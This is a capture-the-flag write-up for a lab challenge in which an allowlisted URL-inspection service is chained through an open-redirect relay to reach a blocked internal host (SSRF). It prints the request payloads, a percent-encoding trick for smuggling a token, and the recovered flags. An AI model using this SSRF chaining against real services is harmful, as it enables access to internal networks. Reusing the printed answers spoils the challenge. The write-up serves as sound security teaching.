In October 1998 a subterranean research facility called BLACKWOOD-13 went dark, and the only thing still answering from outside is a URL inspection service. Probe it, get past the perimeter restrictions to the isolated internal core, and retrieve the containment flag.
The instance is a Vite SPA over a small JSON API:
GET /api/system/logs incident log, October 1998
GET /api/hints three hints
POST /api/inspector/inspect {"url": "..."} server-side fetch
Note
The target's body arrives as a JSON string nested inside body, so unwrap it before parsing
as JSON.
The allowlist is the target
Anything outside the facility gets refused (403 RULE 403-OMEGA), and so does the core
directly - internal-core.blackwood13.local is blocked even though it's the host we want,
and the SPA even labels that path "Direct Core (Blocked)." So this is a fetcher with an
allowlist, and the interesting question is where the hole is.
1/3Find the gateway
gateway.blackwood13.local advertises /status, /ping, and /relay?target=<url> - a relay
that happily takes a target URL, and the inspector follows it straight through:
POST /api/inspector/inspect
{"url": "http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/"}
returns redirectChain: [.../relay?target=..., http://internal-core.blackwood13.local/] -
an open redirect straight into the isolated network.
2/3Read the maintenance log
/maintenance behind the relay gives the token away:
[03:11:50] Emergency maintenance override token generated: token=signal_amber_13
[03:13:01] Token allows single-operator decryption at: /archive/containment-98?token=signal_amber_13
3/3Get the token through the relay correctly
/archive/containment-98 needs the token attached.
Pitfall
The obvious move - /relay?target=.../archive/containment-98&token=signal_amber_13 - reaches
the core but lands on the wrong page. The relay drops its own query string when it builds
the hop, so the token never leaves the gateway. This cost real time precisely because the
response looks healthy (200, real core HTML, nothing suggesting failure) - the redirectChain
is what tells the truth (.../telemetry?probe=1 hops to .../telemetry with no ?probe=1).
The token has to ride inside the target value, percent-encoded:
/relay?target=http://internal-core.blackwood13.local/archive/containment-98%3Ftoken%3Dsignal_amber_13
1{"status": "SUCCESS — CLASSIFIED ARCHIVE UNLOCKED",
2 "classification_level": "LEVEL-5 TOP SECRET",
3 "lead_researcher": "Dr. Evelyn Aris (STATUS: MISSING)",
4 "clearance_flag": "RxR{80e71316-8a9f-468b-a009-10c75652f766}"}
No token gives a fast 403 CONTAINMENT-LOCKED, and a wrong token gives a plain 403 on the same
route - only signal_amber_13 unlocks it, confirming the hit is real rather than a route that
answers everything.
The flag does not survive the box
Pitfall
This is the part I'd have gotten wrong working from notes. The flag is generated when the container boots, not baked into the challenge. By the time I came back to a solved instance it was gone - the platform reaps them on a timer, and a mid-event CTFd restart invalidated the session too. Relaunching and running the same five requests against the new container gave the same token, same route, byte-identical archive text, but a different flag:
instance A -> RxR{82d6c36d-46bc-4be7-aab4-ec3cbab77ada}
instance B -> RxR{80e71316-8a9f-468b-a009-10c75652f766}
Stable across repeated reads within one instance, different across instances - per container, not per request. A flag sitting in old notes may belong to a box that no longer exists; re-derive immediately before submitting.
Note
The challenge page carries a hidden Verified flag: RxR{R4lly_i_g0t_186_kdn4h} span, zero-width
characters included - the usual bait, stamped with the challenge's own id. Nothing the service
returns contains it.
Flag
RxR{80e71316-8a9f-468b-a009-10c75652f766}
Notes
- The relay dropping its own query string is the real trick here; everything else is reading a log and following a redirect.
- The inspector following redirects is what turns a boring open redirect into SSRF against the internal network - without that it's just a redirect.
- The
x-classification: OMEGA-RESTRICTEDheader on the archive response is a nice tell that you're actually talking to the core and not the gateway.